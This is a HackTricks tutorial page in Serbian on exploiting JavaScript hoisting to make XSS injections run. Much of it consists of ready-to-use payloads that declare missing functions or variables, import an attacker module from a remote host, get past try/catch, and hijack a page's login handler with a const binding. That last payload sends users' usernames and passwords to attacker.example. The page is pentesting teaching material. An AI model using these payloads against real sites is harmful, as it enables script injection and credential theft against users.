JS Hoisting

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

U JavaScript jeziku opisuje se mehanizam poznat kao Hoisting gde se deklaracije promenljivih, funkcija, klasa ili import-a konceptualno podižu na vrh njihovog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.

Tokom prvog prolaza, engine parsira kod da proveri sintaksne greške i transformiše ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije pomeraju na vrh izvršnog konteksta. Ako je faza parsiranja uspešna, što ukazuje na odsustvo sintaksnih grešaka, izvršavanje skripte se nastavlja.

Važno je razumeti da:

  1. Skripta mora biti bez sintaksnih grešaka da bi došlo do izvršenja. Pravila sintakse se moraju strogo poštovati.
  2. Položaj koda unutar skripte utiče na izvršenje zbog hoistinga, iako izvršeni kod može biti drugačiji od njegove tekstualne reprezentacije.

Tipovi hoistinga

Prema informacijama sa MDN-a, u JavaScript-u postoje četiri različita tipa hoistinga:

  1. Value Hoisting: Omogućava korišćenje vrednosti promenljive unutar njenog opsega pre linije njene deklaracije.
  2. Declaration Hoisting: Dozvoljava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja ReferenceError, ali će vrednost promenljive biti undefined.
  3. Ovaj tip menja ponašanje unutar svog opsega zbog deklaracije promenljive pre njene stvarne linije deklaracije.
  4. Sporedni efekti deklaracije se odvijaju pre nego što se ostatak koda koji je sadrži oceni.

Detaljnije, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč var demonstrira ponašanje tipa 2. Leksičke deklaracije, koje uključuju let, const i class, pokazuju ponašanje tipa 3. Na kraju, import izjave su jedinstvene po tome što su hoistovane sa ponašanjem tipa 1 i tipa 4.

Scenariji

Dakle, ako imate scenarije u kojima možete Inject JS code after an undeclared object is used, možete fix the syntax deklarisanjem istog (tako će se vaš kod izvršiti umesto da baci grešku):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Više scenarija

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting: zaobilaženje rukovanja izuzecima

Kada je sink obavijen u try { x.y(...) } catch { ... }, ReferenceError će zaustaviti izvršavanje pre nego što se vaš payload pokrene. Možete prethodno deklarisati nedostajući identifikator tako da poziv preživi i vaš injected expression izvrši prvi:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} se hoistuje pre evaluacije, pa parser više ne baca grešku na x.y(...); prompt() se izvršava pre nego što je y razrešen, a zatim se TypeError baca nakon što se vaš kod izvršio.

Preduhitrite kasnije deklaracije zaključavanjem imena pomoću const

Ako možete izvršiti kod pre nego što bude parsiran top-level function foo(){...}, deklarisanje leksičke veze istog imena (npr. const foo = ...) će sprečiti kasniju deklaraciju funkcije da ponovo veže taj identifikator. Ovo se može zloupotrebiti u RXSS da hijack critical handlers definisanih kasnije na stranici:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Beleške

  • Ovo zavisi od redosleda izvršavanja i globalnog (top-level) opsega.
  • Ako se tvoj payload izvršava unutar eval(), imaj na umu da su const/let unutar eval blok-scope-ovane i neće kreirati global bindings. Umetni novi <script> element sa kodom koji uspostavlja pravi globalni const.

Dinamički import() sa specifier-ima koje kontroliše korisnik

Aplikacije renderovane na serverskoj strani ponekad prosleđuju korisnički unos u import() da bi lazy-load-ovale komponente. Ako je prisutan loader kao što je import-in-the-middle, iz specifier-a se generišu wrapper moduli. Hoisted import evaluation preuzima i izvršava modul koji kontroliše napadač pre nego što naredne linije budu izvršene, omogućavajući RCE u SSR kontekstima (see CVE-2023-38704).

Alati

Moderni skeneri su počeli da dodaju eksplicitne hoisting payload-e. KNOXSS v3.6.5 navodi “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” i “Hoisting Override” test slučajeve; pokretanje protiv RXSS konteksta koji bacaju ReferenceError/TypeError brzo izbacuje hoist-based gadget kandidate.

Referencije

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks